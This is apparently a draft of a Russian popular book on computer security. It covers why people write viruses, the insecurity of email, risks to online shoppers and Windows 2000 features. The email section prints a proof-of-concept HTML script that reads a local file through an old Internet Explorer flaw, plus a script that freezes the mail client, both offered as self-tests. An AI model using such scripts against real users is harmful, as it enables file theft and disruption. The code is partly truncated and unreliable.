Разумеется, это не осталось "безнаказанным", и у членов так и не создавшегося штаба от натиска новых вирусов трещали BBS-ы, "слетало с катушек" содержимое жестких дисков... Впрочем, через некоторое время пожар страстей погас сам собой, и жизнь потекла прежним чередом.

Забавно, но клуб вирусописателей (речь идет, о SGWW – Stealth Group World WideВсемирная Группа Невидимок, как уже догадались завсегдатаи SU.VIRUS и прочие участники событий) все же оставил после себя след в песке истории. – Выпустил с десяток номеров электронного журнала, издал свою книгу, высказался в газетах, пускай и местного масштаба, но все-таки! Члены же клуба "отрывания ведущего компонента детородного органа", так и остались с этим органом и с мегабайтами электронного флейма, осевшего на многих серверах Интернет.

И кто в этой истории прав, а кто виноват? Как рассудить, оставшись справедливым и беспристрастным? В конечном счете и те, и другие готовы напакостить и "начистить функель" "ближнему своему". Кто поумнее, - с помощью информационных технологий, а кто поглупее, но посильнее (бицепсами) – кулаками да башмаком.

Вирусописатели в своем подавляющем большинстве – те же хулиганы. Если рассматривать их деяния с этой точки зрения, то вердикт один - ой плачут по ним тюрьма да нары! Впрочем, агрессией агрессию можно только приумножить, но не подавить. Наивно думать, что отсидевший в тюрьме подросток "исправится", а не побежит строчить новый вирус, еще коварнее предыдущего, чтобы отомстить обидчикам, а заодно и большей части прилегающего к ней человечества.

К сожалению, как бы ни хотелось написать "воспитывать доброту в людях надо", приходится советовать прямо противоположное. Доброта – это хорошо и правильно, но кто этим будет заниматься? - Каждый озабочен проблемой своего выживания за счет других. Современная жизнь – это гибрид волчьей стаи с бушующим морем - того и гляди, что тяпнут спереди или сзади. Если будешь добрым и открытым, - затопчут и/или съедят.

Однако попытка объяснить мотивы написания вируса одними лишь "напакостить" и "навредить" не отражает действительной ситуации. Прежде всего, "вирус" еще не означает "вредитель". Множество вирусов ничего не делают, только выводят безобидные лозунги или забавные видеоэффекты. Кроме психологического дискомфорта ("Бабусеньки! на моей машине страшный зверь вирус") никакого вреда они приносят.

К тому же, большинство вирусописателей просто не осознают причиняемого ими вреда. Они же не наблюдают убитого горем владельца жесткого диска, "покусанного" вирусом, перемешивавшим все служебные данные в одну большую кашу...

Спросите любого солдата, что легче убить из винтовки одного человека в упор или, пальнув с закрытых позиций из пушки, уничтожить десятки врагов, гибнущих где-то там за линией горизонта, - а может и не гибнущих - кто же знает, куда попадет снаряд.

Очень легко запускать вирус на BBS, не отдавая отчета своим действиям. Ведь пострадавшие пользователи не видны. И сравнивать это с хулиганством и мордобоем по меньшей мере не корректно.

Информационные технологии изменили мир, передернули всю систему человеческих отношений. Как легко парить над клавиатурой, едва касаясь кнопок, видеть перед собой терминал и посылать по сети, кибернетическое чудовище, пробирающиеся сквозь лабиринты компьютерных сетей и пещер, словно легендарный Минотавр.

Цель - не человек. Его цель информация, которую он разрушает, словно камни, растирая в порошок. Но кто тогда Антивирус? Благородный Геракл, спускающийся на смертный бой?

Нет! Информация и электронные сигналы, циркулирующие среди миллионов проводников, не знают добра и зла. Антивирус - точно такое же чудовище, только на службе у человека.

Если отвлечься от людей, "битва электронных сигналов" могла бы показаться довольно забавной, – происходили же когда-то захватывающие дух "бои в памяти", когда две программы сражались за выживание. Кем они были? Типичными вирусами.

Так почему те же самые "бои в памяти", только в другом масштабе - уже не одного компьютера, а сотен и даже тысяч, все поменяли? Почему вирусов и их авторов заклеймили позором?

Ответ прост, - вирусы вторглись в частную собственность ее владельцев. А информация обрела черты материальной собственности. Например, этот текст, что сейчас набирается на компьютере, с точки зрения вируса – всего лишь набор байт, который в одно мгновение может быть развеян по винчестеру. С точки же зрения его обладателя (то есть меня), время, потраченное на написание и, - пусть и скромная, но все же осязаемая сумма гонорара, выплачиваемая редакцией за публикацию, делают информацию таким же осязаемым эквивалентом материальной ценности, как и сто долларовая купюра (Доллары, кстати, та же информация).

Компьютер стал не только абстрактной электронной вычислительной машиной, но и орудием труда. Ведь и Венера Милосская с точки зрения химика это только кальций, углерод и кислород. Но можно ли так, по частям, рассматривать предмет искусства?

Вот где собака порылась! Вирусописатели просто не осознают ценность информации, - для них это просто упорядоченные биты и байты. С их точки зрения они ничего кощунственного не совершают, - подумаешь, увеличивают энтропию, то есть беспорядочно разбрасывают содержимое жесткого диска, как золу от костра.

Правда, у хозяев этой самой информации точка зрения часто диаметрально противоположная и они переживают за нее, как за одухотворенную сущность. Неудивительно, что некоторые из них бросаются в поисках крайнего, кому можно начистить "функель".

Почему так происходит? И как объяснить вирусописателям, что их точка зрения неправильная, а за информацией стоит труд создавших ее людей? Ответ обескураживающий – никак!

Пока вирусописатель сам не окажется в аналогичной ситуации, он будет оставаться со своим мнением. И никакие уговоры или разъяснения, а уже тем более, "начистить" или "оторвать" не помогут.

Ведь чаще всего написанием вирусов "страдают" студенты и школьники, для которых компьютер - занимательная игрушка и средство времяпрепровождения. Сотри такому пару ценнейших файлов на диске, - думаете, он сильно огорчится? Как бы не так, даже порадуется, что теперь появился хороший повод восстановить все заново, да еще лучше прежнего!

Все равно, что топтать кулички, играющего в песочнице ребенка. Раздавили? Вот вам - сейчас опять слеплю. Нет смысла грохать винт вирусописателям, это не только не наставит их на путь истинный, но и не огорчит.

Для них весь мир - игрушка. Компьютер игрушка, и вирус - игрушка. Да и что можно программировать на сегодняшних компьютерах? Игру "крестики-нолики" - не интересно. Шахматы - слишком сложно для начинающих.

Вирус это одновременно и просто, и интересно. Лучшего полигона для изучения ассемблера, по-видимому, не найти. Неудивительно, что вирусы – юношеская болезнь практически всех программистов. Через это проходят и талантливые самородки, и бездарная серость.

Бесполезно с этим бороться… Вирусы пишутся и в тех странах, где за них можно угодить на долгие годы за решетку. Наивно думать, что введение аналогичных законов в России заметно изменит ситуацию. Кончено, поток вирусов приуменьшится, но никогда не пересохнет полностью. Это надо принять как "де-факто" и бросать силы не на борьбу, а на защиту. Впрочем, это уже отдельный разговор. Не будем лишний раз говорить, что распутную жизнь лучше не вести, с кем попало не сталкиваться. А если уж ваш бурный темперамент так и тянет на подвиги, - хотя бы элементарно предохраняться.

Бесполезно! Пока не наткнется иное лицо пару раз на вирус, оно не поумнеет, - все будет надеяться на "авось да пронесет".

Впрочем, это уже не по теме разговора. Вернемся к вирусописателям, а пользователей обсудим как-нибудь в следующий раз.

"Юношеская болезнь" - явление, строго говоря, нормальное, но иногда встречается и патология. Не так давно психологи столкнулись с новой манией – навязчивой мыслью, что вирус, он, дескать, живой, а антивирус, стало быть - убийца.

Это вообще ни в какие ворота не лезет. Кто живой? Вирус что ли? Вот эта примитивная программа из сотни строк, которая не способна ни на что, кроме тупого заражения строго определенного типа файлов, по строго определенному шаблону? Да по сравнению с вирусом тот же Word интеллектуал! На антивирус (убийцу де) возложены куда более емкие и требующие адаптации и элементов искусственного интеллекта задачи!

Но, что для одного бред, для другого – нормальное положение вещей. Вирус может быть живым точно, так как Вася Пупкин - Наполеоном. То есть, лишь в чьем-то нездоровом представлении.

Ладно, если журналист совершенно не разбирающийся в компьютерах, считает, что компьютерный вирус и правда чем-то сродни вирусу биологическому и живет своей, неведомой нам жизнью.

Но неужто, сам автор этого творения, превосходно разбирающийся в ассемблере и схемотехнике процессора, может считать написанный им кусок кода живым организмом?

Действительно, на первый взгляд компьютерный вирус внешне схож с вирусом биологическим. Размножается, копирует себя только в файлы определенного формата (избирательность то бишь), имеет инкубационный период... можно долго перечислять. Но это только внешнее сходство, и ничто более.

Героиня на экране - это копия живого человека. Она выглядит как человек, движется, говорит... только не факт, что она живая. Это только изображение на кинопленке. Копия живого человека, только копия, а сам оригинал остался где-то там...

Так и с вирусами. Эмулировать поведение биологического вируса несложно (в силу его простоты), но эта эмуляция никогда не достигнет оригинала... и останется лишь электронной копией.

Медики не сомневаются, что увеличение вирусами – серьезное психическое заболевание, методов лечения против которого до сих пор не найдено. Быть может, в отдаленном будущем медицина вновь спасет мир от чумы, на этот раз компьютерной.

Но вирусы при этом не исчезнут. Они просто перекочуют туда, где и появились - в стены лабораторий и компьютеры исследователей. И не удивительно – репродуцирующиеся (то есть размножающиеся) программы стали частью прикладной науки и имеют огромный познавательный интерес.

Ведь и цепная реакция (тот же вирус, кстати) это не обязательно атомная бомба. К слову сказать, атомную бомбу не обязательно сбрасывать на чью-то голову, а можно преспокойно изучать деление ядер урана в специально на то предназначенных ускорителях.

Существуют ли вирусописатели - исследователи? Конечно! Тот же Данилов (автор небезызвестного антивируса Dr.Web) увлекается их написанием. Правда, ни один из них не увидел "белого света", так и оставшись на компьютере разработчика. Это хороший пример увлекательного занятия, без ущерба для окружающих. Люди с высокой моральной ответственностью никогда не позволят себе опуститься до вреда другим пользователем. Так и химик, разработавший новый токсин, не бежит, чтобы вылить его в ближайший пруд или водопровод.

Вирус – лишь одно из многих средств пакости другому человеку. Удивительно, но в полемиках об этом часто забывают и зацикливаются только на вирусописателях. Свет клизмой на них что ли сошелся?

Ведь винчестер можно превратить в груду бесполезного мусора не только с помощью изощренной программной атаки, но и простой мускульной силой - скажем кувалдой или пресс-папье.

Почему же никто не вламывается к вам в квартиру с молотом на перевес, а вот вирусы сыплются очень часто? Очень просто - быть вирусописателем это престижно. Особенно в глазах знакомых подростков.

Точно так, как когда-то считалось верхом крутости стрелять из рогаток или воровать с лотка сигареты. Новое время принесло с собой новые забавы.

Но если бы вирусам и их авторам уделяли бы меньше влияния, поверьте, их ряды бы сразу и быстро поредели.

A:Небезопасность электронной почты

Электронная почта – неотъемлемая часть современного документооборота. Несомненные преимущества – быстрота доставки и дешевизна эксплуатации дают ей неоспоримые преимущества перед обычной, - "улиточной", – почтой. В то же время электронная почта ощутимо уступает бумажной в отношении безопасности.

Почерк (если только письмо не было напечатано на машинке) позволяет с высокой точностью идентифицировать отправителя, а штемпель служит надежным индикатором целости сообщения. Ничего этого нет в электронной почте – электронные письма подвержены угрозе

а) перехвата;

б) модификации;

в) фальсификации адреса отправителя.

Угроза перехвата: Глобальные и локальные сети общего назначения принципиально не способны противостоять перехвату трафика в пределах одного сегмента, а внедрение ложных ARP- и DNS-серверов позволяет осуществить и межсегментный перехват. Объяснение причин такой уязвимости потребовало бы очень много места и поэтому здесь не приводится. Этой теме и без того посвящено множество публикаций, в том числе книги "Атака на Internet" Ильи Медведовского и "Техника сетевых атак" Криса Касперски.

Даже без установки дополнительного оборудования техническая возможность "подслушать" любого абонента сети существует как у спецслужб, так и Васи Пупкина, снабженного лишь модемом и минимальныйм уровнем знаний.

Естественным выходом из ситуации становится шифрование всех или, по крайней мере, конфиденциальных сообщений. Несимметричные криптоалгоритмы используют для шифровки и расшифровки текста два различных, никак не связанных между собой ключа: публичный и секретный. Секретный ключ никогда не передается по сети и теоретически недосягаем злоумышленнику.

Однако несимметричная криптография с одной парой ключей имеет тот существенный для почтовых сообщений недостаток, что принципиально неспособна гарантировать аутентичность отправителя сообщения: любой, кому вздумается, может зашифровать публичным ключом свое письмо и отправить его от чужого имени. (Вообще-то, грамотно подделать заголовок письма ничуть не легче чем сымитировать чей-то почерк, но кто станет пристально анализировать заголовок, если письмо выглядит достоверным и не внушает серьезных подозрений?)

Цифровая подпись путем использования двух пар публичных и секретных ключей теоретически обеспечивает:

а) поверку подлинности сообщения;

б) гарантию целостности сообщения;

в) неотрицание авторства сообщения.

Практически же, неотрицание авторства никогда не срабатывает, - всегда есть возможность сослаться на утерю секретного ключа, после которой поставить цифровую подпись мог кто угодно. А может ли секретный ключ быть похищен без ведома его владельца?

Существуют два способа хранения секретных ключей – в файле или неком аппаратно-биологическом комплексе, подключенном к компьютеру. (Человек, вводящий пароль с клавиатуры, относится ко второму типу).

В первом случае для похищения ключа злоумышленнику достаточно получить доступ к локальным файлам жертвы, а во втором – заслать на атакуемый компьютер программу-шпиона, отслеживающую обмен с ключевым устройством (например, перехватывающего ввод с клавиатуры). Если это удастся – шифр падет! Таким образом, незащищенность секретного ключа сводит на нет надежность всех криптографических систем!

Простейший способ внедрить шпиона – послать его вместе с письмом в надежде, что жертва "лопухнется" и запустит исполняемый файл. (см. "Какие почтовые вложения безопасны?") А если не запустит? Находится ли в безопасности пользователь, который не открывает никаких потенциально опасных вложений, в том числе и документов Word, могущих содержать вредоносные макросы? Нет! И причиной тому служат вездесущие программные ошибки реализации, присутствующие буквально во всех почтовых системах. Дабы не быть голословным приведу несколько конкретных примеров.

Больше всего проблем связано с HTML-форматом писем: высокая сложность браузеров, вынужденных поддерживать множество всевозможных форм и кучу скриптовых языков, приводит к взаимным конфликтам и противоречиям. Например, поддержка плавающих форм в Internet Explorer 5.01 (и в некоторых других версиях) реализована с ошибкой. Событие “NavigateComplete2”, извещающие о завершении переселения документа на новое местоположение, позволяет получить доступ к этому документу, даже если он расположен на локальном диске клиента, чего по идеологии виртуальной Java-машины произойти ни в коем случае не должно! (Но, все ж таки происходит).

Хотите выяснить защищены ли вы от подобных посягательств? Тогда проведите следующий эксперимент: сначала создайте в корневом каталоге диска "C:" файл, "test.txt", который и послужит объектом нападения. Запишите в него какую-нибудь фразу, например "Hello, Sailor!" (во избежание проблем с кодировками кириллицу лучше не использовать). Затем запустите "Outlock Express 5.х" и, создав новое сообщение в формате HTML (именно такой формат и установлен по умолчанию), в меню "Вид" установите галочку "Изменение источника" и, щелкнув по появившейся в левом нижнем углу закладке "Источник", вставьте в начало документа следующий текст: "<SCRIPT> z=window.open("http://kpnc.lib.ru/iframe.htm"); </SCRIPT>", где "http://kpnc.lib.ru/iframe.htm" – путь к HTML-файлу следующего содержания:

<SCRIPT>

z=window.open("file://C:/iframe.htm");

</SCRIPT>

<IFRAME ID="Z"></IFRAME>

<SCRIPT for=Z event="NavigateComplete2(x)">

alert(nerText);

</SCRIPT>

<SCRIPT>

Z.navigate("file://c:/test.txt");

</SCRIPT>

Отправьте письмо самому себе и, если у вас установлена операционная система Windows 2000 в конфигурации по умолчанию или Windows 98/NT c обновленным Internet Explorer 5.x, при попытке просмотра полученного сообщения появится диалоговое окно, демонстрирующее содержимое тестового файла. Заменив вызов "alert" на процедуру пересылки информации по сети, злоумышленник сможет похитить у вас любой файл, в том числе и секретный ключ!

Описанная выше ошибка – не единственная в своем роде: не проходит и дня (!), чтобы в существующем программном обеспечении не открылся очередной лаз. Подпишитесь на рассылку "Ученого кота" (), чтобы постоянно получать свежую информацию о проблемах безопасности и ссылки на "горячие" заплатки производителей. Если этого не сделаете вы, – это сделает злоумышленник и, используя вашу неосведомленность, пролезет в одну из незаткнутых дыр, захватив контроль над системой (см. "Где можно узнать о самых свежих дырках и последних обновлениях приложений?", "Что такое заплатки и как их устанавливать?")

Все это наводит на грустные размышления и пессимистичные выводы, – никакие меры предосторожности и комплексы защитных средств не могут гарантированно защитить, и в лучшем случае лишь снижают вероятность успешной атаки, но не исключают ее возможность полностью.

Потом, все защиты удивительно терпимо относятся к всевозможным зацикливаниям и пожираниям системных ресурсов. Например, пошлите сами себе HTML-сообщение, содержащее следующий код – "<SCRIPT> while (1) {alert("Haste La Vista!");}</SCRIPT>". Попытка его просмотра намертво блокирует почтового клиента зацикленным модальным диалогом, и даже удалить вредоносное сообщение окажется невозможно! В качестве альтернативного варианта можно создавать в бесконечном цикле множество окон размером миллион на миллион пикселей, которые с исчезающей быстротой сожрут все ресурсы системы! Выйти из ситуации можно лишь отключением поддержки Java, но всякий ли пользователь знает как ее отключить? (для информации – отключать виртуальную машину Java следует в настройке уровней безопасности браузера). А вызов системного администратора – время, которое стоит вполне осязаемых денег.

Как, если не обезопасить себя, то хотя бы усложнить жизнь злоумышленнику? Попробуйте придерживаться следующих советов – всегда (!) шифруйте свою корреспонденцию, заверяя ее электронной подписью, даже если она не содержит ничего конфиденциального. Иначе злоумышленник сможет послать от вашего имени незашифрованное сообщение, которое получатель примет за подлинное. Напротив, если вы всегда шифруете свои послания, подлинность письма, посланного открытым текстом, вызовет сомнения у получателя и побудит его связаться с вами в попытке прояснить ситуацию.

Виртуальную машину Java в почтовом клиенте настоятельно рекомендуется отключить – ни к чему она там, а еще лучше совсем отказаться от просмотра сообщений, присланных в HTML-формате. Если же это невозможно (а обычно это невозможно) – внимательно относитесь к обновлению приложений, и оперативно устанавливайте свежие исправления.

Стремитесь не использовать новые версии: поначалу в них всегда обнаруживается множество ошибок. Нет, вовсе не значит, что продукты одно-двух годичной давности защищены лучше, но злоумышленники склонны сосредотачивать свои усилия именно на новинках, а анализировать старые версии – занятие неблагородное и бесперспективное: у кого они сейчас установлены? Разумеется, если начнется массовая миграция пользователей на ранние версии, ситуация измениться на противоположную, и использование новых версий окажется более предпочтительным.

Категорически не рекомендуется давать секретным файлам предсказуемые имена и устанавливать утилиты шифрования в каталоги по умолчанию! Не забывайте о постоянной смене паролей и внимательно относитесь к уничтожению старых ключей – простое удаление файла небезопасно (например, Windows NT позволяет злоумышленнику получить доступ к содержимому чужых мусорных корзин – а хакеры никогда не брезговали лазить по мусоркам и помойкам).

Не забывайте и об угрозе, исходящей от антивирусов: так, например, в ноябре 1999 года была обнаружена серьезная уязвимость в SMTP-шлюзе "Interscan VirusWall 3.2x", работающего под управлением Windows NT. Программное обеспечение, предназначенное для защиты от вирусов с оптимистичным названием "Вирусная преграда", оказалось способным принести своим обладателям значительно больший ущерб, чем тот, что доставляет типичный вирус. Бездумная установка средств защиты приводит не к усилению, а ослаблению безопасности компьютера.

Родственные вопросы:

Какие почтовые вложения безопасны?

Где можно узнать о самых свежих дырках и последних обновлениях приложений

Что такое заплатки и как их устанавливать?

A: Чем рискует посетитель виртуального магазина?

Если злоумышленнику удастся похитить номер кредитной карточки жертвы, он без проблем сможет снять с нее некоторую сумму денег (варьирующуюся в зависимости от его наглости и осторожности, ограниченной разве что количеством денег на счету).

В простейшем случае для этой цели организуется "подпольный" виртуальный магазин, исправно собирающий номера кредиток, но не высылающий покупателям никаких товаров. И такие "ловушки" в сети действительно есть: вот заходит человек на платный "no name"-сервер и спустя какое-то время обнаруживает, что с его счета все денежки сняты подчистую. Это нетехнический прием хищения и аналогичные магазины-однодневки возникают не только в сети, но и в реальной жизни, – соберет некая фирма столько-то заказов, получит предоплату, и… исчезнет без следа.

А чем рискует пользователь, не посещающий ресурсы сомнительно происхождения, и пользующийся услугами исключительно крупных, проверенных поставщиков? Все возможные технические угрозы можно разделить на три категории: подмена целевого субъекта; навязывание ложного маршрута; внедрение в компьютер жертвы программы-шпиона.

К этому списку было бы можно добавить еще один пункт "перехват сетевого трафик" – алгоритмы шифровки номеров кредитных карт (специально придуманные для расчетов по незащищенным каналам) хорошо работает только на словах, а в реальной жизни разработчики сплошь и рядом допускают программные ошибки, в той или иной степени ослабляющие стойкость шифра к взлому, – но, к счастью, подавляющее большинство злоумышленников не обладают надлежащей квалификацией и эту угрозу можно смело игнорировать. В любом случае, популярная книга – не лучшее место для обсуждения вопросов, связанных с криптографией, а заинтересованные читатели могут удовлетворить свое любопытство, обратившись к книге Криса Касперски "Техника сетевых атак".

подмена целевого субъекта: "Подмена целевого субъекта" на нормальном человеческом языке обозначает совокупность технических приемов, вводящих пользователя в заблуждение относительного его местопребывания. Образно это выглядит приблизительно так: покупатель ловит такси и говорит водителю, "гони на Савеловский". Гнать-то водитель гонит, да только вот приезжает не на Савеловский, а на его точную копию, отличающуюся от оригинала лишь тем, что первый же продавец снимает все деньги с кредитной карточки покупателя.

??? Рисунок "карикатура" обыграть предыдущий абзац

Самая крупная кража по такой схеме была произведена в 1998 году Ильей Гофманом, который, выступая от имени продавца компьютерного магазина "Virtualynx Internet LLC 811-555 West Hastings St. Vancouver, ВС V6B 4N5 604-893-7022", сумел, по утверждению следствия, похитить порядка 20 тысяч долларов. Преступник с сообщниками были задержаны, но дыры в системы безопасности остались открытыми и по сегодняшний день.

Вот нажимает пользователь на баннер и попадает на страничку злоумышленника, содержащую хитрый Java-скрипт, который переправляет клиента, скажем, на . Ошибка реализации Java-машины, присущая даже поздним версиям Internet Explorer и Netscape Navigator, приводит к возможности выполнения аплетов злоумышленника в контексте перенаправленного адреса. Покупателя в настоящий магазин могут и не пустить, а вывести в окне браузера его точную копию, отличающуюся от оригинала лишь тем, что содержимое всех заполненных форм попадает не к продавцу, а в карман злоумышленника. Но, не смотря на это, адресная строка браузера содержит подлинный адрес магазина, что и вводит покупателя в заблуждение (Подробнее об этом виде атак можно прочитать в книге Криса Касперски "Техника сетевых атак").

Другая разновидность той же атаки – злоумышленник помещает на свою страничку коллекцию ссылок на виртуальные магазины и прочие коммерческие ресурсы. При наведении курсора на любую из ссылок в строке статуса появляется подлинный адрес выбранного ресурса, – пользователь, не замечая подвоха, кликает мышкой и… Откуда же ему знать, что содержимое строки статуса выводится скриптом злоумышленника и не соответствует действительности! А дальше все происходит по сценарию, описанному выше. Покупателя перенаправляют на требуемый магазин, доменное имя которого немедленно помещают в адресную строку браузера, но дальше порога в магазин не пускают, а подсовывают ему динамически сгенерированную руками злоумышленника web-страницу.

Для защиты от такого вида мошенничества достаточно ввести в браузере адрес целевого сайта вручную. Несмотря на свою простоту, этот прием надежно защищает от подавляющего большинства мошенников.

перехват трафика с навязыванием ложного маршрута: прежде чем подключиться к серверу, необходимо перевести его доменное имя в IP-адрес, но, занимающаяся этим служба DNS, не свободна от ошибок и вообще очень слабо защищена. Протокол UDP, на который опирается DNS-сервер, не позволяет идентифицировать отправителя пакета, т.е. программное обеспечение жертвы не способно отличить ответы настоящего DNS-сервера, от подложных пакетов злоумышленника. Сценарий атаки в общих чертах выглядит так: злоумышленник огромным количеством разнородных запросов очищает кэш DNS-сервера, а затем посылает ему запрос с просьбой определить IP-адрес такого-то доменного имени. Обнаружив его отсутствие в своем кэше, DNS обращается к серверу более высокого уровня, а, тем временем, злоумышленник отправляет ему подложный пакет, содержащий IP-адрес двойника магазина. Введенный в заблуждение DNS-сервер (а DNS-сервера общаются между собой на том же UDP-протоколе) доверчиво помещает фальсифицированный ответ в свой кэш и впоследствии "раздает" его всем пользователям, пытающимся попасть в этом магазин.

Вообще-то, подобные взломы все еще остаются экзотикой, но несколько прецедентов уже имеются. В частности, именно таким образом 28 октября 1996 была подменна главная страница сайта крупнейшего московского провайдера ROSNET.

Причем ни администратор DNS-сервера, ни владелец виртуального магазина не способны предотвратить такую атаку! До тех пор, пока не будет переписано все программное обеспечение, прямо или косвенно связанное с DNS-протоколом, никто не сможет чувствовать себя в полной безопасности. Впрочем, это не повод для паники, поскольку (как уже отмечалось выше), подобные атаки не получили большого распространения, т.к. злоумышленники, по обыкновению не обремененные высокой квалификацией, предпочитают действовать грубой силой и кустарными методами.

засылка шпиона: большой популярностью среди похитителей пользуется рассылка зловредных программ под видом полезных утилит или фотографий красивых девушек, которые на самом деле никакие не фотографии, а исполняемые файлы. Откроет пользователь такую "фотографию" и запустит на свой компьютер шпиона, отслеживающего нажатие клавиш или что-нибудь еще. Спустя некоторое время собранная информация отправляется злоумышленнику, которому остается всего лишь извлечь из нее номера кредитных карт (вариант: пароли для входа на сервер) и пополнить свой карман некоторой суммой.

???? Рисунок "карикатура" Что-то связанное со шпионами

Отсюда правило, – никогда и ни при каких обстоятельствах не запускайте программы неизвестного происхождения (см. "Как защитится от вирусов, полученных из Интернет?"). Простые меры гигиены, усиленные бдительностью свежайших антивирусов, в подавляющем большинстве случаев способны предотвратить вторжение, но все же срабатывают не всегда. Причиной тому служат вездесущие программные ошибки, позволяющие передать управление на код злоумышленника без ведома и активных действий со стороны жертвы. Конечно, совсем уж без действий, не обходится (сами собой только кошки, да и то не в жизни, а в анекдоте), но от жертвы не требуется ничего экстравагантного, – вполне достаточно посетить сайт злоумышленника или получить посланное им письмо (всего лишь получить - читать необязательно). Подробнее узнать о таком типе атак можно из книги Ильи Медведовского "Атака на Интернет", а здесь достаточно заметить – никакое приложение при сегодняшней культуре разработки программного обеспечения не застраховано от отсутствия ошибок, тем более бытовые программы массового потребления.

Выводы: не утешительные и пессимистичные: существует принципиальная возможность атак, приводящих к нарушению конфиденциальности данных, хранящихся на компьютере пользователя, набираемых с клавиатуры и передающихся по сети. И в ближайшем будущем ситуация улучшаться, похоже не собирается. Напротив, неотвратимый рост сложности программного обеспечения порождает все большее количество ошибок и люков, дающих "кислород" кибернетическим ворам и вандалам всех мастей.

Забавно, но лучший способ избегнуть кражи – отказаться от всех новомодных схем электронной оплаты и заказывать товар старым - добрым наложенным платежом. Все решения, предлагаемые разработчиками, будь то SSL, Virtual Private Network или службы-арбитры, выступающие гарантом законности сделки, реализованы поверх базовых протоколов, принципиально не способных обеспечить надлежащего уровня защищенности. А на шатком фундаменте устойчивой крепости не постоишь. И, как показывают исследования, фундамент Интернет действительно, очень шаткий.

Утешает только то, что шанс оказаться обкраденным не превышает риск погибнуть в автомобильной катастрофе.

Родственные вопросы:

Как защитится от вирусов, полученных из Интернет?

A: В чем преимущества Windows 2000 по сравнению с 9x?

Древние говорили – выбирая Бога, вы выбираете судьбу. Ничего не могу сказать на счет богов, но вот выбор операционной системы – дело серьезное. Одна Microsoft предлагает на выбор Windows 98, Windows NT, Windows 2000, Windows Me, да и новые операционные системы не за горами.

Работать под Windows 98 (а кто-то до сих пор сидит и под Windows 95) по-прежнему можно, но вроде как "несолидно" – другие, понимаешь, уже летать начали, а мы все сидим на шкурах мамонтов и добываем огонь трением.

Может, следует, набравшись духа, поставить Windows 2000? Помимо зова моды, здесь замешены и чисто практические интересы – глядишь, компьютер надежнее работать будет. Говорит же реклама, что Windows 2000 – самая надежная в мире система. А капризы "народной" Windows 98 так надоели…

На самом же деле, Windows 98 OS2 (точнее тот ее код, что бы написан фирмой Microsoft, ибо к Windows приложили руку программисты многих компаний) представляет собой достаточно качественный продукт. Путь, не без ляпов, но при должной настройке, после "шаманской" возни с реестром, устойчиво и надежно работающий. А корни нестабильного поведения (если таковое наблюдается) растут из-за кривых драйверов сторонних разработчиков, железа немерной желтизны или же ошибок прикладных программ.

??? Рисунок "карикатура" Шаман бегает вокруг компьютера с Windows

В Windows 2000 включено множество новых драйверов и учтены многие особенности "китайского" железа, поэтому, вполне возможно, что установка этой системы, решит все (или почти все) ваши проблемы. Однако ставить Windows 2000 только для того, чтобы убрать имеющиеся конфликты, – слишком уж расточительное решение, тем более, не факт, что она действительно их уберет, а не добавит новых.

Последнее вполне вероятно. Чтобы ни утверждала Microsoft насчет качества тестирования своего детища, даже беглый взгляд на список исправлений пакета обновления Service Pack 1, убеждает в обратном, – ошибки в Windows-ах были, есть и будут!

Поэтому закроем глаза на ошибки, смирившись с ними как с неизбежным злом, и посмотрим, какие возможности Windows 2000 будут полезны домашнему пользователю. В первую очередь это быстродействие (или его отсутствие – смотря как посмотреть). По поводу производительности Windows 2000 в народе ходят два мнения: одних возмущает ее "аристократическая неторопливость", другие же, напротив, восхищаются быстротой реакции – не успел мышкой кликнуть, как все готово! В чем же дело, может быть, у первых просто скорости процессора не хватает? Ничуть! На моем позором доисторическом CELERON-300A Windows 2000 просто "летает", – все приложения грузятся практически мгновенно и даже такие монстры, как PhotoShop и Visual Studio, совсем не тормозят. Весь "секрет" в оперативной памяти – ее установлено 256 мегабайт. С таким количеством RAM Windows 2000 работает намного быстрее Windows 98, но стоит ее уменьшить до 64-128 мегабайт, как разница в производительности практически сотретсястирается, а на 32 "метрах" работа с Windows 2000 представляет сплошное мучение.

К сожалению, 128 и более мегабайт на сегодняшний день все еще остается роскошью, и большинство компьютеров комплектуются значительно меньшим количеством оперативной памяти. Но дополнительные 64 мегабайта стоят, по крайней мере, вдвое дешевле, чем дополнительные 300-500 мегагерц, а ускорения дают больше! Словом, если вы стеснены быстродействием, стоит подумать о модернизации компьютера и установке Windows 2000.

Другой немаловажный момент – защита и разграничение доступа информации. Помните тот случай, когда позарез необходимый к завтрашнему доклад, набранный в Word'е ценой бессонных ночей, в последний момент оказался безжалостно уничтожен злобным вирусом, занесенным на компьютер сынишкой? Что поделаешь, семейный компьютер - предмет коллективного использования и как ни запрещай своим домашним ставить на него что попало, как ни отнимай у них диски сомнительного происхождения, - им все равно играть охота!

Что же, Windows 2000 поможет отцу русской демократии! Создайте для сына (дочки) нового пользователя с ограниченными правами ("Пуск Панель управления Пользователи и пароли; установить галочку "требовать ввод имени и пароля"; нажать кнопку "Добавить", ввести имя и пароль создаваемого пользователя, а затем выбрать "ограниченный доступ" и нажать кнопочку "готово"). Запускать игры и другие безобидные программы он сможет, а вот видеть ваши документы или испортить систему – нет (хотя, дети сейчас все как один одаренные и с легкостью портят то, что никакому хакеру сломать не под силу).

Да и отцу семейства постоянно входить в систему с правами администратора совсем ни к чему (а именно так и происходит по умолчанию) – гораздо спокойнее работать под "пользователем", не имеющим возможности модифицировать системные и исполняемые файлы, как бы ни было велико это желание. Если какой вирус удостоит вас своим посещением, то тут же отправится восвояси, ибо размножаться не сможет. То же относится и к документам – когда набранный тест (электронная таблица, баланс или рисунок) полностью готов, - временно войдите в систему с правами администратора ("Пуск Завершить сеанс Ваше Имя") и запретите его модификацию (свойства файла, вкладка "Безопасность", снять галочки "изменить" и "запись"), оставляя лишь право на чтение. Пусть попробуют выжить вездесущие макровирусы в этой стерильной среде!

>>>>> Врезка:

Помимо этого Windows 2000 очень хорошо защищает и от случайных сбоев, например, выключения питания в момент запуска оптимизатора диска или зависания компьютера в момент сохранения файла на диск.

А для сокрытия содержимого секретных документов от не в меру любопытных глаз (например, спецслужб) предусмотрена возможность шифрования как отдельных файлов, так и целых папок (свойства файла или паки, вкладка "Общие", нажмите кнопку "Другие" и в открывшимся диалоговом окне установите галочку "Шифровать содержимое для защиты данных")

